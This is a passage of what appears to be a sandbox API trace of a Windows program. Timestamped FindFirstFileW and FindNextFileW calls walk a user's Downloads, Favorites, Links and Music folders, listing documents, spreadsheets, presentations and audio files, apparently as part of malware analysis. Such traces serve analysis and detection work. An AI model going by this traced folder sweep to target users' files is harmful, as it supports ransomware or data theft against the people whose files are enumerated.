cFileName="uQLXRscP6.docx", cAlternateFileName="UQLXRS~1.DOC")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32cb7a80, ftCreationTime.dwHighDateTime=0x1d5576f, ftLastAccessTime.dwLowDateTime=0x74f9ed30, ftLastAccessTime.dwHighDateTime=0x1d53e36, ftLastWriteTime.dwLowDateTime=0x74f9ed30, ftLastWriteTime.dwHighDateTime=0x1d53e36, nFileSizeHigh=0x0, nFileSizeLow=0x67ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WIAI1.xlsx", cAlternateFileName="WIAI1~1.XLS")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda220ca0, ftCreationTime.dwHighDateTime=0x1d4e478, ftLastAccessTime.dwLowDateTime=0x73156f80, ftLastAccessTime.dwHighDateTime=0x1d5243c, ftLastWriteTime.dwLowDateTime=0x73156f80, ftLastWriteTime.dwHighDateTime=0x1d5243c, nFileSizeHigh=0x0, nFileSizeLow=0x182d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wMsDH0dZaz.pptx", cAlternateFileName="WMSDH0~1.PPT")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e74aa60, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x60f1cba0, ftLastAccessTime.dwHighDateTime=0x1d4d315, ftLastWriteTime.dwLowDateTime=0x60f1cba0, ftLastWriteTime.dwHighDateTime=0x1d4d315, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WzADlxLJE55HVxluBPw.pdf", cAlternateFileName="WZADLX~1.PDF")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x220da010, ftCreationTime.dwHighDateTime=0x1d4cb1f, ftLastAccessTime.dwLowDateTime=0xb6ca8a0, ftLastAccessTime.dwHighDateTime=0x1d4c8a0, ftLastWriteTime.dwLowDateTime=0xb6ca8a0, ftLastWriteTime.dwHighDateTime=0x1d4c8a0, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xHKfg1buDW5Et.ots", cAlternateFileName="XHKFG1~1.OTS")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fe640, ftCreationTime.dwHighDateTime=0x1d4c9a0, ftLastAccessTime.dwLowDateTime=0x71d0a900, ftLastAccessTime.dwHighDateTime=0x1d4ce51, ftLastWriteTime.dwLowDateTime=0x71d0a900, ftLastWriteTime.dwHighDateTime=0x1d4ce51, nFileSizeHigh=0x0, nFileSizeLow=0xe0bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xJBVQQII-j.xls", cAlternateFileName="XJBVQQ~1.XLS")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f2c6b0, ftCreationTime.dwHighDateTime=0x1d53717, ftLastAccessTime.dwLowDateTime=0xbdf30a00, ftLastAccessTime.dwHighDateTime=0x1d4f82f, ftLastWriteTime.dwLowDateTime=0xbdf30a00, ftLastWriteTime.dwHighDateTime=0x1d4f82f, nFileSizeHigh=0x0, nFileSizeLow=0x3b77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XpuS4jw10.docx", cAlternateFileName="XPUS4J~1.DOC")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe62cd10, ftCreationTime.dwHighDateTime=0x1d533de, ftLastAccessTime.dwLowDateTime=0xa99d2a10, ftLastAccessTime.dwHighDateTime=0x1d55f66, ftLastWriteTime.dwLowDateTime=0xa99d2a10, ftLastWriteTime.dwHighDateTime=0x1d55f66, nFileSizeHigh=0x0, nFileSizeLow=0xda82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZKPjo8JohJqXPt0egkjs.pptx", cAlternateFileName="ZKPJO8~1.PPT")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eada6f0, ftCreationTime.dwHighDateTime=0x1d53ae3, ftLastAccessTime.dwLowDateTime=0x1ef37500, ftLastAccessTime.dwHighDateTime=0x1d4e4cc, ftLastWriteTime.dwLowDateTime=0x1ef37500, ftLastWriteTime.dwHighDateTime=0x1d4e4cc, nFileSizeHigh=0x0, nFileSizeLow=0x7ee9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZuqvG17IH9puQg8B.pptx", cAlternateFileName="ZUQVG1~1.PPT")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9ee7fa0, ftCreationTime.dwHighDateTime=0x1d4d1be, ftLastAccessTime.dwLowDateTime=0xec599c20, ftLastAccessTime.dwHighDateTime=0x1d4ca7f, ftLastWriteTime.dwLowDateTime=0xec599c20, ftLastWriteTime.dwHighDateTime=0x1d4ca7f, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZX_nv6ome8v9IO5Mvi.ppt", cAlternateFileName="ZX_NV6~1.PPT")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1891680, ftCreationTime.dwHighDateTime=0x1d4cc6d, ftLastAccessTime.dwLowDateTime=0x6aff6730, ftLastAccessTime.dwHighDateTime=0x1d4d467, ftLastWriteTime.dwLowDateTime=0x6aff6730, ftLastWriteTime.dwHighDateTime=0x1d4d467, nFileSizeHigh=0x0, nFileSizeLow=0xb26e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_dmLJ1 KFGu.odp", cAlternateFileName="_DMLJ1~1.ODP")) returned 1 [0117.282] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1891680, ftCreationTime.dwHighDateTime=0x1d4cc6d, ftLastAccessTime.dwLowDateTime=0x6aff6730, ftLastAccessTime.dwHighDateTime=0x1d4d467, ftLastWriteTime.dwLowDateTime=0x6aff6730, ftLastWriteTime.dwHighDateTime=0x1d4d467, nFileSizeHigh=0x0, nFileSizeLow=0xb26e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_dmLJ1 KFGu.odp", cAlternateFileName="_DMLJ1~1.ODP")) returned 0 [0117.282] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.282] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.282] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.282] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.282] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0117.282] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.282] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.282] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.282] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.282] PathFindFileNameW (pszPath="") returned="" [0117.282] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.283] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7cc8 | out: hHeap=0x35b0000) returned 1 [0117.283] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.283] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.283] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0117.283] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.283] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.283] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.283] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.283] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0117.283] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.283] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.283] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.283] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.283] PathFindFileNameW (pszPath="") returned="" [0117.283] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.283] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61e7cc8 | out: hHeap=0x35b0000) returned 1 [0117.283] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.283] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0117.284] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.284] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.284] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.284] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.284] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0117.284] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.284] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.284] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.284] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.284] PathFindFileNameW (pszPath="") returned="" [0117.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.284] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0117.284] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0117.285] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0117.285] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0117.285] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.285] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.285] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6147290 | out: hHeap=0x35b0000) returned 1 [0117.285] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.285] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0117.285] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.285] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.285] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.285] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.285] PathFindFileNameW (pszPath="") returned="" [0117.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0117.285] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.285] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.285] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368ddc8 | out: hHeap=0x35b0000) returned 1 [0117.285] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.285] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0117.285] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.285] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.285] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.285] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.286] PathFindFileNameW (pszPath="") returned="" [0117.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x772b4030, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x772b4030, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.286] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61472e8 | out: hHeap=0x35b0000) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x772b4030, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x772b4030, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dd18a00, ftCreationTime.dwHighDateTime=0x1d4d083, ftLastAccessTime.dwLowDateTime=0x980b3cc0, ftLastAccessTime.dwHighDateTime=0x1d4cb81, ftLastWriteTime.dwLowDateTime=0x980b3cc0, ftLastWriteTime.dwHighDateTime=0x1d4cb81, nFileSizeHigh=0x0, nFileSizeLow=0x2759, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1a20kzVE_cVBJfA1si.mp3", cAlternateFileName="1A20KZ~1.MP3")) returned 1 [0117.286] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94e14550, ftCreationTime.dwHighDateTime=0x1d4c805, ftLastAccessTime.dwLowDateTime=0xd5e340, ftLastAccessTime.dwHighDateTime=0x1d4c777, ftLastWriteTime.dwLowDateTime=0xd5e340, ftLastWriteTime.dwHighDateTime=0x1d4c777, 